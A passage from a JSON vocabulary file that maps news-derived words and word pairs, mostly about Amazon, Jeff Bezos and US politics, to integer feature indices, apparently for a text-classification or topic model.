asked\": 35582,\n  \"rules adding\": 35583,\n  \"eagle vista\": 35584,\n  \"employer standard\": 35585,\n  \"constituency\": 35586,\n  \"drone deliveries\": 35587,\n  \"dislikes shortly\": 35588,\n  \"shakiness recently\": 35589,\n  \"dc reported\": 35590,\n  \"servers amazon\": 35591,\n  \"sell bezos\": 35592,\n  \"recessions depressions\": 35593,\n  \"new journey\": 35594,\n  \"utah called\": 35595,\n  \"dangerously\": 35596,\n  \"hard charging\": 35597,\n  \"lone high\": 35598,\n  \"sundar survey\": 35599,\n  \"operations remains\": 35600,\n  \"defend policing\": 35601,\n  \"redundancies defense\": 35602,\n  \"shirts socks\": 35603,\n  \"counterfeit sales\": 35604,\n  \"seattle does\": 35605,\n  \"elite demands\": 35606,\n  \"crank\": 35607,\n  \"oa\": 35608,\n  \"event lasted\": 35609,\n  \"murdoch marriage\": 35610,\n  \"frequent complaint\": 35611,\n  \"flom amazon\": 35612,\n  \"planned new\": 35613,\n  \"providing quality\": 35614,\n  \"supporting magazine\": 35615,\n  \"louis friends\": 35616,\n  \"delbene\": 35617,\n  \"cohen accuses\": 35618,\n  \"happeninghere\": 35619,\n  \"luntz\": 35620,\n  \"267018 global\": 35621,\n  \"0r3wioxgeh a4ee\": 35622,\n  \"pertained\": 35623,\n  \"server719393\": 35624,\n  \"equally possible\": 35625,\n  \"meant\": 35626,\n  \"personally attacked\": 35627,\n  \"northeast washington\": 35628,\n  \"deal worked\": 35629,\n  \"100 private\": 35630,\n  \"time midday\": 35631,\n  \"safety violations\": 35632,\n  \"spontaneously\": 35633,\n  \"scorn\": 35634,\n  \"publicly challenging\": 35635,\n  \"slack highlighted\": 35636,\n  \"status 1011252198221594624\": 35637,\n  \"needs strong\": 35638,\n  \"new sic\": 35639,\n  \"message suddenly\": 35640,\n  \"news right\": 35641,\n  \"proclaiming support\": 35642,\n  \"yelp estimates\": 35643,\n  \"advancing technology\": 35644,\n  \"trump expects\": 35645,\n  \"sword cross\": 35646,\n  \"stock slips\": 35647,\n  \"bp ln\": 35648,\n  \"term finances\": 35649,\n  \"tells today\": 35650,\n  \"experience crossing\": 35651,\n  \"hailed amazon\": 35652,\n  \"offers perks\": 35653,\n  \"turn photo\": 35654,\n  \"2019 district\": 35655,\n  \"improve access\": 35656,\n  \"2nmdtyd6sv\": 35657,\n  \"freddie\": 35658,\n  \"regime crimes\": 35659,\n  \"president hometown\": 35660,\n  \"appearances disarmed\": 35661,\n  \"surrogates\": 35662,\n  \"unfairly using\": 35663,\n  \"riebold\": 35664,\n  \"fine bezos\": 35665,\n  \"nasdaq recorded\": 35666,\n  \"journalistic hot\": 35667,\n  \"bottles undercover\": 35668,\n  \"libs\": 35669,\n  \"comparetotoggle\": 35670,\n  \"sortorder server719401\": 35671,\n  \"fedex instead\": 35672,\n  \"rocker tweeted\": 35673,\n  \"coast verizon\": 35674,\n  \"smartphones carrying\": 35675,\n  \"interview dennis\": 35676,\n  \"divine return\": 35677,\n  \"government force\": 35678,\n  \"opening headquarters\": 35679,\n  \"condit\": 35680,\n  \"finally giving\": 35681,\n  \"navy air\": 35682,\n  \"cost issue\": 35683,\n  \"meeting growth\": 35684,\n  \"bolsonaro trip\": 35685,\n  \"rent access\": 35686,\n  \"shoe company\": 35687,\n  \"thestreet martin\": 35688,\n  \"businesses generated\": 35689,\n  \"eastside\": 35690,\n  \"times investigation\": 35691,\n  \"female governor\": 35692,\n  \"likewise questions\": 35693,\n  \"sceptic\": 35694,\n  \"rahm emanuel\": 35695,\n  \"giving information\": 35696,\n  \"advantages\": 35697,\n  \"griffeth restaurant\": 35698,\n  \"kamaron\": 35699,\n  \"comment days\": 35700,\n  \"trump scorn\": 35701,\n  \"intelligence intercepts\": 35702,\n  \"griffin\": 35703,\n  \"sharing data\": 35704,\n  \"cigar blog\": 35705,\n  \"domineering\": 35706,\n  \"australia bank\": 35707,\n  \"porsche audi\": 35708,\n  \"kindle reading\": 35709,\n  \"iron lady\": 35710,\n  \"correspondent disclosure\": 35711,\n  \"nebulous\": 35712,\n  \"today check\": 35713,\n  \"office double\": 35714,\n  \"david attenborough\": 35715,\n  \"atlantic alexis\": 35716,\n  \"job thinking\": 35717,\n  \"employees called\": 35718,\n  \"stoltenberg\": 35719,\n  \"lee offered\": 35720,\n  \"petulant emergency\": 35721,\n  \"busting plans\": 35722,\n  \"madrigal\": 35723,\n  \"2017 growth\": 35724,\n  \"sandusky\": 35725,\n  \"grocery delivery\": 35726,\n  \"remotely uh\": 35727,\n  \"lockbox\": 35728,\n  \"section devoted\": 35729,\n  \"bezos picked\": 35730,\n  \"case aims\": 35731,\n  \"nwsseattle\": 35732,\n  \"secured funding\": 35733,\n  \"retail margins\": 35734,\n  \"nixon did\": 35735,\n  \"864\": 35736,\n  \"administration travel\": 35737,\n  \"trump greer\": 35738,\n  \"fearless stands\": 35739,\n  \"times estimated\": 35740,\n  \"street analysts\": 35741,\n  \"rekognition customers\": 35742,\n  \"little incentive\": 35743,\n  \"paul randal\": 35744,\n  \"means dwindle\": 35745,\n  \"personal expenses\": 35746,\n  \"start getting\": 35747,\n  \"rampage\": 35748,\n  \"activists started\": 35749,\n  \"growing unease\": 35750,\n  \"unborn baby\": 35751,\n  \"assistant grows\": 35752,\n  \"future forte\": 35753,\n  \"unwind anti\": 35754,\n  \"basically asking\": 35755,\n  \"persuasion\": 35756,\n  \"kiki camarena\": 35757,\n  \"washingtonian\": 35758,\n  \"fayetteville\": 35759,\n  \"trump interaction\": 35760,\n  \"guns bonus\": 35761,\n  \"today robber\": 35762,\n  \"territory closing\": 35763,\n  \"potential gadgets\": 35764,\n  \"progressive pair\": 35765,\n  \"businesses large\": 35766,\n  \"maziarz claims\": 35767,\n  \"influence issues\": 35768,\n  \"trump praises\": 35769,\n  \"lucky given\": 35770,\n  \"dailyrecord leave\": 35771,\n  \"schr\\u00f6dinger\": 35772,\n  \"forger lee\": 35773,\n  \"fiercely disagree\": 35774,\n  \"charity auction\": 35775,\n  \"prevent dod\": 35776,\n  \"newest documentary\": 35777,\n  \"promoting counterfeit\": 35778,\n  \"inadequate editorial\": 35779,\n  \"australian outback\": 35780,\n  \"amazon rain\": 35781,\n  \"savings\": 35782,\n  \"wisconsin madison\": 35783,\n  \"poland prepared\": 35784,\n  \"analyze data\": 35785,\n  \"trump review\": 35786,\n  \"assuming courts\": 35787,\n  \"jfk airport\": 35788,\n  \"vest bogo\": 35789,\n  \"italy premier\": 35790,\n  \"caller reports\": 35791,\n  \"seemingly bygone\": 35792,\n  \"crime raping\": 35793,\n  \"law facebook\": 35794,\n  \"centers prerequisite\": 35795,\n  \"slipping\": 35796,\n  \"bond jason\": 35797,\n  \"reticence\": 35798,\n  \"available old\": 35799,\n  \"cnbcs jim\": 35800,\n  \"fcc wouldn\": 35801,\n  \"presale\": 35802,\n  \"bezos increased\": 35803,\n  \"face reams\": 35804,\n  \"789\": 35805,\n  \"oracle argues\": 35806,\n  \"shares judging\": 35807,\n  \"dunkin\": 35808,\n  \"opioid crisis\": 35809,\n  \"cactus\": 35810,\n  \"homelessness reported\": 35811,\n  \"manhattan proud\": 35812,\n  \"lord\": 35813,\n  \"helped page\": 35814,\n  \"say 500\": 35815,\n  \"lady friendly\": 35816,\n  \"rifle\": 35817,\n  \"news harley\": 35818,\n  \"mood\": 35819,\n  \"brian snyder\": 35820,\n  \"concerned cvs\": 35821,\n  \"work activities\": 35822,\n  \"wapo wsj\": 35823,\n  \"summit quote\": 35824,\n  \"small cap\": 35825,\n  \"potential scandals\": 35826,\n  \"dark chapter\": 35827,\n  \"platform height\": 35828,\n  \"annual credit\": 35829,\n  \"xom bp\": 35830,\n  \"ate dinner\": 35831,\n  \"connect local\": 35832,\n  \"company kroger\": 35833,\n  \"reporter nathan\": 35834,\n  \"far criticism\": 35835,\n  \"years fighting\": 35836,\n  \"space vessels\": 35837,\n  \"rain forest\": 35838,\n  \"phrase 2018\": 35839,\n  \"kaplan says\": 35840,\n  \"fund wall\": 35841,\n  \"location requirement\": 35842,\n  \"markit finds\": 35843,\n  \"home d\\u00e9cor\": 35844,\n  \"toys based\": 35845,\n  \"neglect collaborative\": 35846,\n  \"euronext growth\": 35847,\n  \"malawi\": 35848,\n  \"local job\": 35849,\n  \"griffeth china\": 35850,\n  \"personal prosperity\": 35851,\n  \"results rocket\": 35852,\n  \"powerful figures\": 35853,\n  \"subject realize\": 35854,\n  \"powerful momentum\": 35855,\n  \"stupid\": 35856,\n  \"2007 2009\": 35857,\n  \"suggests bipartisan\": 35858,\n  \"bolsonaro stands\": 35859,\n  \"really disney\": 35860,\n  \"hacks including\": 35861,\n  \"camille preaker\": 35862,\n  \"kroger swooned\": 35863,\n  \"arrested london\": 35864,\n  \"precision\": 35865,\n  \"than\\u0430his shortcomings\": 35866,\n  \"trust company\": 35867,\n  \"content copyright\": 35868,\n  \"drink cold\": 35869,\n  \"progressive socialists\": 35870,\n  \"machine guns\": 35871,\n  \"carterpage\": 35872,\n  \"brand consultant\": 35873,\n  \"sold online\": 35874,\n  \"beto\": 35875,\n  \"slab\": 35876,\n  \"earlier announcing\": 35877,\n  \"amazon reviewers\": 35878,\n  \"long campaigned\": 35879,\n  \"series run\": 35880,\n  \"fake energy\": 35881,\n  \"markets ended\": 35882,\n  \"login_standalone html\": 35883,\n  \"india government\": 35884,\n  \"half going\": 35885,\n  \"honeyman debut\": 35886,\n  \"vehicles triggering\": 35887,\n  \"sports content\": 35888,\n  \"effort rekognition\": 35889,\n  \"slug\": 35890,\n  \"declining readership\": 35891,\n  \"investigation florida\": 35892,\n  \"month relationship\": 35893,\n  \"pediatrics\": 35894,\n  \"hire advisers\": 35895,\n  \"rich according\": 35896,\n  \"regulatory constraints\": 35897,\n  \"new drug\": 35898,\n  \"service monetary\": 35899,\n  \"meester\": 35900,\n  \"year revenues\": 35901,\n  \"sellers lists\": 35902,\n  \"watchful eye\": 35903,\n  \"reported 563\": 35904,\n  \"read heineken\": 35905,\n  \"billion mega\": 35906,\n  \"times sanchez\": 35907,\n  \"taking extreme\": 35908,\n  \"emergencies act\": 35909,\n  \"existing major\": 35910,\n  \"412 million\": 35911,\n  \"don jr\": 35912,\n  \"accent master\": 35913,\n  \"loss amounted\": 35914,\n  \"services cramer\": 35915,\n  \"874\": 35916,\n  \"mmr vaccine\": 35917,\n  \"works check\": 35918,\n  \"dropping second\": 35919,\n  \"neurons\": 35920,\n  \"warren walls\": 35921,\n  \"164 jeff\": 35922,\n  \"growth effectively\": 35923,\n  \"keurig\": 35924,\n  \"north division\": 35925,\n  \"deputy chief\": 35926,\n  \"evidence reporting\": 35927,\n  \"obreht\": 35928,\n  \"theunited\": 35929,\n  \"ago slammed\": 35930,\n  \"oversees\": 35931,\n  \"printing mil\": 35932,\n  \"wrong roache\": 35933,\n  \"business quietly\": 35934,\n  \"kurt soller\": 35935,\n  \"office financial\": 35936,\n  \"bradley\": 35937,\n  \"scott bembenek\": 35938,\n  \"zionist\": 35939,\n  \"2000s\": 35940,\n  \"changes rubio\": 35941,\n  \"west virginia\": 35942,\n  \"new hampshire\": 35943,\n  \"gorsky\": 35944,\n  \"status 1021380986452545537\": 35945,\n  \"doctors agricultural\": 35946,\n  \"graduated\": 35947,\n  \"albuquerque new\": 35948,\n  \"geographies including\": 35949,\n  \"medical appointments\": 35950,\n  \"fuel companies\": 35951,\n  \"average closing\": 35952,\n  \"largest investor\": 35953,\n  \"gr\\u00e9goire\": 35954,\n  \"brownlee mike\": 35955,\n  \"peart\": 35956,\n  \"week revoked\": 35957,\n  \"trade sensitive\": 35958,\n  \"precrisis\": 35959,\n  \"32nd doesn\": 35960,\n  \"smear bezos\": 35961,\n  \"consumer electronic\": 35962,\n  \"scorned\": 35963,\n  \"taxes create\": 35964,\n  \"ap\": 35965,\n  \"makes big\": 35966,\n  \"deplorable choir\": 35967,\n  \"multiple bankruptcies\": 35968,\n  \"veiled attempts\": 35969,\n  \"government kim\": 35970,\n  \"1509et copyright\": 35971,\n  \"leafs head\": 35972,\n  \"totalitarianism\": 35973,\n  \"new source\": 35974,\n  \"prostitutes\": 35975,\n  \"engineers reportedly\": 35976,\n  \"buys smaller\": 35977,\n  \"samsung google\": 35978,\n  \"dismiss charity\": 35979,\n  \"tremendous investigative\": 35980,\n  \"sources alexandria\": 35981,\n  \"magazine reporting\": 35982,\n  \"encourage government\": 35983,\n  \"cleaning work\": 35984,\n  \"just latest\": 35985,\n  \"presidentdonald trump\": 35986,\n  \"herd trump\": 35987,\n  \"ultimately fizzled\": 35988,\n  \"year arguing\": 35989,\n  \"visit jerusalem\": 35990,\n  \"deflecting\": 35991,\n  \"walmart size\": 35992,\n  \"alleged child\": 35993,\n  \"rosenstein watch\": 35994,\n  \"new better\": 35995,\n  \"statement explaining\": 35996,\n  \"unnamed white\": 35997,\n  \"years silicon\": 35998,\n  \"ball jill\": 35999,\n  \"especially relatable\": 36000,\n  \"strong workforce\": 36001,\n  \"price 133\": 36002,\n  \"amazon fulfillment\": 36003,\n  \"sustainable trump\": 36004,\n  \"things obtaining\": 36005,\n  \"apple hit\": 36006,\n  \"scandal canada\": 36007,\n  \"org person\": 36008,\n  \"surviving father\": 36009,\n  \"koreans\": 36010,\n  \"introductory price\": 36011,\n  \"apple automobilnews\": 36012,\n  \"scientists\": 36013,\n  \"agency points\": 36014,\n  \"pacific region\": 36015,\n  \"evan bush\": 36016,\n  \"dorie\": 36017,\n  \"labor politics\": 36018,\n  \"encouraged massive\": 36019,\n  \"russia just\": 36020,\n  \"charade\": 36021,\n  \"sonoya\": 36022,\n  \"local apparel\": 36023,\n  \"davidson county\": 36024,\n  \"nodded\": 36025,\n  \"pecker enterprise\": 36026,\n  \"uncommon\": 36027,\n  \"preannounced\": 36028,\n  \"royals ride\": 36029,\n  \"stuff siddiqui\": 36030,\n  \"citing antitrust\": 36031,\n  \"president orbit\": 36032,\n  \"steven mnuchin\": 36033,\n  \"funny costumes\": 36034,\n  \"systematically\": 36035,\n  \"boosting bezos\": 36036,\n  \"fc neil\": 36037,\n  \"xi later\": 36038,\n  \"high flying\": 36039,\n  \"father laurence\": 36040,\n  \"murphy\": 36041,\n  \"cabin dp\": 36042,\n  \"desks thomas\": 36043,\n  \"farm specifically\": 36044,\n  \"hyperpartisan\": 36045,\n  \"sobriety\": 36046,\n  \"southeastern university\": 36047,\n  \"group assets\": 36048,\n  \"famously bought\": 36049,\n  \"greatest workers\": 36050,\n  \"key consumer\": 36051,\n  \"pushing polices\": 36052,\n  \"signed james\": 36053,\n  \"amazon rival\": 36054,\n  \"global witness\": 36055,\n  \"david peace\": 36056,\n  \"washington knew\": 36057,\n  \"john mccain\": 36058,\n  \"sketch called\": 36059,\n  \"administration inherited\": 36060,\n  \"donahoe package\": 36061,\n  \"release follows\": 36062,\n  \"enquirer sent\": 36063,\n  \"york inhaling\": 36064,\n  \"thumb\": 36065,\n  \"chinese censorship\": 36066,\n  \"thwart fishing\": 36067,\n  \"executive infuriates\": 36068,\n  \"wants nostolgic\": 36069,\n  \"prosecuting price\": 36070,\n  \"beet\": 36071,\n  \"oil producers\": 36072,\n  \"irish government\": 36073,\n  \"releasing bootleg\": 36074,\n  \"york updates\": 36075,\n  \"growing trump\": 36076,\n  \"surveillance weapons\": 36077,\n  \"distressed communities\": 36078,\n  \"remained areas\": 36079,\n  \"true true\": 36080,\n  \"miramar\": 36081,\n  \"challenges related\": 36082,\n  \"packard enterprise\": 36083,\n  \"princesses\": 36084,\n  \"original financial\": 36085,\n  \"automation disrupt\": 36086,\n  \"downfall\": 36087,\n  \"living checking\": 36088,\n  \"looting price\": 36089,\n  \"house ahead\": 36090,\n  \"anthony salvanto\": 36091,\n  \"big airport\": 36092,\n  \"goods 3351326\": 36093,\n  \"synovus trust\": 36094,\n  \"ballot initiative\": 36095,\n  \"ohio rep\": 36096,\n  \"cities contribute\": 36097,\n  \"amazon deforestation\": 36098,\n  \"grocery goals\": 36099,\n  \"long history\": 36100,\n  \"gyllenhaal\": 36101,\n  \"lists says\": 36102,\n  \"really surprising\": 36103,\n  \"customer onboarding\": 36104,\n  \"kss tj\": 36105,\n  \"recruiting cabinet\": 36106,\n  \"smaller bribe\": 36107,\n  \"red white\": 36108,\n  \"slavishly worshipped\": 36109,\n  \"reaching 800\": 36110,\n  \"increasingly views\": 36111,\n  \"sun reported\": 36112,\n  \"arena packed\": 36113,\n  \"burden late\": 36114,\n  \"workers struggle\": 36115,\n  \"reporting jeff\": 36116,\n  \"joni\": 36117,\n  \"morning global\": 36118,\n  \"carlson amazon\": 36119,\n  \"dc bipartisanship\": 36120,\n  \"criminal investigation\": 36121,\n  \"week dr\": 36122,\n  \"2659\": 36123,\n  \"gunshot wounds\": 36124,\n  \"new monza\": 36125,\n  \"million euros\": 36126,\n  \"joining shareholders\": 36127,\n  \"indian market\": 36128,\n  \"dna kit\": 36129,\n  \"delivers better\": 36130,\n  \"infrastructure reducing\": 36131,\n  \"hours trade\": 36132,\n  \"versace hotstar\": 36133,\n  \"bengaluru editing\": 36134,\n  \"increasingly shop\": 36135,\n  \"address controversy\": 36136,\n  \"viewers won\": 36137,\n  \"wholesale deal\": 36138,\n  \"ksw\": 36139,\n  \"territory trump\": 36140,\n  \"conservative politics\": 36141,\n  \"proclaimed democratic\": 36142,\n  \"ggqfsweim0\": 36143,\n  \"taskrabbit\": 36144,\n  \"1hlkltf massachusetts\": 36145,\n  \"bourbon maker\": 36146,\n  \"edition cnn\": 36147,\n  \"advises searching\": 36148,\n  \"easily dwarf\": 36149,\n  \"finally accepted\": 36150,\n  \"prime plan\": 36151,\n  \"limited edition\": 36152,\n  \"republican acknowledge\": 36153,\n  \"bob just\": 36154,\n  \"mueller enumerates\": 36155,\n  \"carry fines\": 36156,\n  \"new paint\": 36157,\n  \"simonmaloy\": 36158,\n  \"margaret talev\": 36159,\n  \"munro\": 36160,\n  \"company launched\": 36161,\n  \"bezos responded\": 36162,\n  \"mom child\": 36163,\n  \"nonfiction fear\": 36164,\n  \"uss\": 36165,\n  \"growth properties\": 36166,\n  \"dollar value\": 36167,\n  \"europe market\": 36168,\n  \"press lauren\": 36169,\n  \"pressuring margins\": 36170,\n  \"platform trump\": 36171,\n  \"yield curve\": 36172,\n  \"liz kelly\": 36173,\n  \"lather rinse\": 36174,\n  \"sgn announced\": 36175,\n  \"anti competition\": 36176,\n  \"militant hamas\": 36177,\n  \"wasn asked\": 36178,\n  \"million facebook\": 36179,\n  \"byline\": 36180,\n  \"gale told\": 36181,\n  \"cropping\": 36182,\n  \"remains unmatched\": 36183,\n  \"associate brings\": 36184,\n  \"wakes\": 36185,\n  \"unum\": 36186,\n  \"repellant stuffed\": 36187,\n  \"stop bezos\": 36188,\n  \"bezos outfit\": 36189,\n  \"obama imposing\": 36190,\n  \"won resemble\": 36191,\n  \"tax year\": 36192,\n  \"tennessee played\": 36193,\n  \"outside updated\": 36194,\n  \"overly worried\": 36195,\n  \"northfield bancorp\": 36196,\n  \"characters repressed\": 36197,\n  \"mccabe trump\": 36198,\n  \"owners saw\": 36199,\n  \"instant loss\": 36200,\n  \"ad dollars\": 36201,\n  \"spare consumer\": 36202,\n  \"major philanthropic\": 36203,\n  \"influential saudis\": 36204,\n  \"attacks boston\": 36205,\n  \"bounce looks\": 36206,\n  \"bit mocking\": 36207,\n  \"palantir uses\": 36208,\n  \"gmb told\": 36209,\n  \"support looking\": 36210,\n  \"cleveland karin\": 36211,\n  \"mining reported\": 36212,\n  \"presenter turned\": 36213,\n  \"link usps\": 36214,\n  \"regarded\": 36215,\n  \"d4e\": 36216,\n  \"produce territorial\": 36217,\n  \"case appeared\": 36218,\n  \"era generals\": 36219,\n  \"renewed spotlight\": 36220,\n  \"cookbook editors\": 36221,\n  \"prevent abuse\": 36222,\n  \"2018 cbs\": 36223,\n  \"sanaa\": 36224,\n  \"hindsley afp\": 36225,\n  \"town anymore\": 36226,\n  \"flummoxed\": 36227,\n  \"prostitution sting\": 36228,\n  \"twisty glass\": 36229,\n  \"gift taxes\": 36230,\n  \"genocide\": 36231,\n  \"nielsen hldgs\": 36232,\n  \"adobe analytics\": 36233,\n  \"recently reported\": 36234,\n  \"twitter archive\": 36235,\n  \"org blog\": 36236,\n  \"fair federal\": 36237,\n  \"companies trump\": 36238,\n  \"related companies\": 36239,\n  \"retailer contrary\": 36240,\n  \"issued dark\": 36241,\n  \"researchers working\": 36242,\n  \"selfie experiential\": 36243,\n  \"voluntarily presume\": 36244,\n  \"competitive apparel\": 36245,\n  \"hartford insurance\": 36246,\n  \"technical changes\": 36247,\n  \"analyze critical\": 36248,\n  \"house officials\": 36249,\n  \"way richer\": 36250,\n  \"varney replied\": 36251,\n  \"reported assault\": 36252,\n  \"survive cnbc\": 36253,\n  \"uniquely fiercely\": 36254,\n  \"continuously linked\": 36255,\n  \"whitey\": 36256,\n  \"dedicated chicagoan\": 36257,\n  \"official randall\": 36258,\n  \"instructions\": 36259,\n  \"iconimageurl icontype\": 36260,\n  \"worth jumped\": 36261,\n  \"possibly qualify\": 36262,\n  \"communities jiayang\": 36263,\n  \"starring amy\": 36264,\n  \"released plan\": 36265,\n  \"studded\": 36266,\n  \"amazon warriors\": 36267,\n  \"hours away\": 36268,\n  \"netting\": 36269,\n  \"levelled yesterday\": 36270,\n  \"accepted intelligence\": 36271,\n  \"blumenthal conn\": 36272,\n  \"support level\": 36273,\n  \"dropbox\": 36274,\n  \"term goals\": 36275,\n  \"mores\": 36276,\n  \"federal deficit\": 36277,\n  \"horcher\": 36278,\n  \"181004002630 game\": 36279,\n  \"cutting corners\": 36280,\n  \"roads nearly\": 36281,\n  \"fake amazon\": 36282,\n  \"administration dynamics\": 36283,\n  \"supporter\": 36284,\n  \"regulations amazon\": 36285,\n  \"tough package\": 36286,\n  \"understanding benefits\": 36287,\n  \"facebook 120\": 36288,\n  \"vigorously denied\": 36289,\n  \"advising candidate\": 36290,\n  \"bezos amassed\": 36291,\n  \"critics shift\": 36292,\n  \"morgan cuts\": 36293,\n  \"epic scenery\": 36294,\n  \"dreamer\": 36295,\n  \"political positions\": 36296,\n  \"attentiveness\": 36297,\n  \"glynn acting\": 36298,\n  \"previously mocked\": 36299,\n  \"trackingpixel\": 36300,\n  \"puts wisconsin\": 36301,\n  \"neighborhood grocery\": 36302,\n  \"current goal\": 36303,\n  \"occurrences reunite\": 36304,\n  \"personal interests\": 36305,\n  \"relays mommy\": 36306,\n  \"company dramatic\": 36307,\n  \"wouldn derail\": 36308,\n  \"says hit\": 36309,\n  \"writer james\": 36310,\n  \"edward lee\": 36311,\n  \"day inside\": 36312,\n  \"monk gaspar\": 36313,\n  \"left britain\": 36314,\n  \"using military\": 36315,\n  \"government technology\": 36316,\n  \"deportation work\": 36317,\n  \"slips amid\": 36318,\n  \"prosecutors admitting\": 36319,\n  \"american soldiers\": 36320,\n  \"level kids\": 36321,\n  \"735 shares\": 36322,\n  \"assets payseno\": 36323,\n  \"wen\": 36324,\n  \"quartz original\": 36325,\n  \"military ousts\": 36326,\n  \"amy chua\": 36327,\n  \"describing deliberately\": 36328,\n  \"backwater\": 36329,\n  \"devil having\": 36330,\n  \"outraged displacement\": 36331,\n  \"approval amazon\": 36332,\n  \"xl xl\": 36333,\n  \"mnuchin supported\": 36334,\n  \"threat reuters\": 36335,\n  \"officials security\": 36336,\n  \"morning greene\": 36337,\n  \"denounced projects\": 36338,\n  \"mom pops\": 36339,\n  \"site storefronts\": 36340,\n  \"savings according\": 36341,\n  \"great men\": 36342,\n  \"misfit glow\": 36343,\n  \"effect trump\": 36344,\n  \"cause aids\": 36345,\n  \"day president\": 36346,\n  \"telling bloomberg\": 36347,\n  \"year list\": 36348,\n  \"future don\": 36349,\n  \"cnl_name wire\": 36350,\n  \"consumer distrust\": 36351,\n  \"lower costs\": 36352,\n  \"supervises\": 36353,\n  \"juicy\": 36354,\n  \"pitfalls amazon\": 36355,\n  \"hitting\": 36356,\n  \"child collects\": 36357,\n  \"grudgingly voted\": 36358,\n  \"boddi belga\": 36359,\n  \"insider buying\": 36360,\n  \"business negative\": 36361,\n  \"straight away\": 36362,\n  \"counterpart vice\": 36363,\n  \"hour earlier\": 36364,\n  \"chinese government\": 36365,\n  \"legally cleared\": 36366,\n  \"econlib\": 36367,\n  \"technicals\": 36368,\n  \"schuetz 2018\": 36369,\n  \"6in8gribfh\": 36370,\n  \"press secretary\": 36371,\n  \"district niles\": 36372,\n  \"ate\": 36373,\n  \"school lauren\": 36374,\n  \"caps response\": 36375,\n  \"think drones\": 36376,\n  \"advisors yes\": 36377,\n  \"spacex launch\": 36378,\n  \"confidence poll\": 36379,\n  \"abbate talks\": 36380,\n  \"break vox\": 36381,\n  \"fail decoratevideoapi\": 36382,\n  \"read don\": 36383,\n  \"purpose mnuchin\": 36384,\n  \"carry cash\": 36385,\n  \"setinitialvideoembed function\": 36386,\n  \"years specifically\": 36387,\n  \"controls\": 36388,\n  \"discovering\": 36389,\n  \"delete fake\": 36390,\n  \"involving extortion\": 36391,\n  \"lows government\": 36392,\n  \"paper skeptical\": 36393,\n  \"alphabet plans\": 36394,\n  \"journal media\": 36395,\n  \"simmering war\": 36396,\n  \"data processing\": 36397,\n  \"car seat\": 36398,\n  \"swing vote\": 36399,\n  \"amazon environmentalists\": 36400,\n  \"conservatives slamming\": 36401,\n  \"look foolish\": 36402,\n  \"excessive fear\": 36403,\n  \"alexa amazon\": 36404,\n  \"desist notice\": 36405,\n  \"simplest\": 36406,\n  \"wiggle\": 36407,\n  \"ceo sen\": 36408,\n  \"fortunately\": 36409,\n  \"given investors\": 36410,\n  \"tokyo nikkei\": 36411,\n  \"retailers offer\": 36412,\n  \"grabs demand\": 36413,\n  \"knowledge rep\": 36414,\n  \"mini monopolies\": 36415,\n  \"elections cohen\": 36416,\n  \"consumers good\": 36417,\n  \"gospel according\": 36418,\n  \"calibration\": 36419,\n  \"securitie\": 36420,\n  \"east wants\": 36421,\n  \"utopian cult\": 36422,\n  \"political legitimacy\": 36423,\n  \"tsxv\": 36424,\n  \"common table\": 36425,\n  \"trump incoherent\": 36426,\n  \"rtx series\": 36427,\n  \"hudson family\": 36428,\n  \"rollingstone\": 36429,\n  \"economy minister\": 36430,\n  \"worth \\u014235billion\": 36431,\n  \"whippets nossies\": 36432,\n  \"democrats flush\": 36433,\n  \"amazon perceived\": 36434,\n  \"joint tri\": 36435,\n  \"openly asked\": 36436,\n  \"picking robots\": 36437,\n  \"unequivocally\": 36438,\n  \"behavior arrest\": 36439,\n  \"taco bell\": 36440,\n  \"race masculinity\": 36441,\n  \"cargo network\": 36442,\n  \"kelly rutherford\": 36443,\n  \"star stormy\": 36444,\n  \"george told\": 36445,\n  \"ellis curtis\": 36446,\n  \"writing bad\": 36447,\n  \"dogs amazon\": 36448,\n  \"week actor\": 36449,\n  \"year building\": 36450,\n  \"post comedian\": 36451,\n  \"mistake instead\": 36452,\n  \"dollars subsidize\": 36453,\n  \"hawaiian shirts\": 36454,\n  \"afp reported\": 36455,\n  \"units bought\": 36456,\n  \"article reasons\": 36457,\n  \"alexa digital\": 36458,\n  \"entire holiday\": 36459,\n  \"ex model\": 36460,\n  \"appeared wary\": 36461,\n  \"logolink\": 36462,\n  \"encourage american\": 36463,\n  \"florida city\": 36464,\n  \"cbs julian\": 36465,\n  \"dailykos\": 36466,\n  \"key merger\": 36467,\n  \"sunset airbus\": 36468,\n  \"trump 2019\": 36469,\n  \"aig\": 36470,\n  \"businesses help\": 36471,\n  \"v4 t4\": 36472,\n  \"phony headlines\": 36473,\n  \"training document\": 36474,\n  \"pounds revenue\": 36475,\n  \"barrier orwhatever\": 36476,\n  \"angelle\": 36477,\n  \"fairholme capital\": 36478,\n  \"ne\": 36479,\n  \"chest amazon\": 36480,\n  \"steyer lives\": 36481,\n  \"rink\": 36482,\n  \"phrase did\": 36483,\n  \"podcast spotlight\": 36484,\n  \"5g wireless\": 36485,\n  \"jorge ruiz\": 36486,\n  \"retailer faced\": 36487,\n  \"michael dennis\": 36488,\n  \"congress withholds\": 36489,\n  \"international rohingya\": 36490,\n  \"play lead\": 36491,\n  \"home interiors\": 36492,\n  \"announced news\": 36493,\n  \"closs case\": 36494,\n  \"america alleges\": 36495,\n  \"violations stemming\": 36496,\n  \"pragmatic task\": 36497,\n  \"member board\": 36498,\n  \"content andrew\": 36499,\n  \"technical stipulations\": 36500,\n  \"revealed thatamazon\": 36501,\n  \"better roads\": 36502,\n  \"technology etf\": 36503,\n  \"sent amazon\": 36504,\n  \"rebut\": 36505,\n  \"authorization act\": 36506,\n  \"ralph macchio\": 36507,\n  \"singapore right\": 36508,\n  \"price amazon\": 36509,\n  \"mayor virginia\": 36510,\n  \"liberal washington\": 36511,\n  \"film paper\": 36512,\n  \"1m\": 36513,\n  \"role model\": 36514,\n  \"reaffirmed\": 36515,\n  \"neutral rate\": 36516,\n  \"thomas jake\": 36517,\n  \"concerning 2018\": 36518,\n  \"overlooked female\": 36519,\n  \"1011252198221594624\": 36520,\n  \"populist maverick\": 36521,\n  \"making things\": 36522,\n  \"prudently invest\": 36523,\n  \"chipping away\": 36524,\n  \"happen hopefully\": 36525,\n  \"fishburne\": 36526,\n  \"loss signals\": 36527,\n  \"story used\": 36528,\n  \"bic requested\": 36529,\n  \"budget negotiations\": 36530,\n  \"says jacqueline\": 36531,\n  \"freed companies\": 36532,\n  \"jarislowsky\": 36533,\n  \"cinder\": 36534,\n  \"survey melissa\": 36535,\n  \"things going\": 36536,\n  \"raise tariffs\": 36537,\n  \"georgetown slavery\": 36538,\n  \"disguising\": 36539,\n  \"data gold\": 36540,\n  \"consumer makes\": 36541,\n  \"fightbookmma\": 36542,\n  \"1928\": 36543,\n  \"invite\": 36544,\n  \"senator 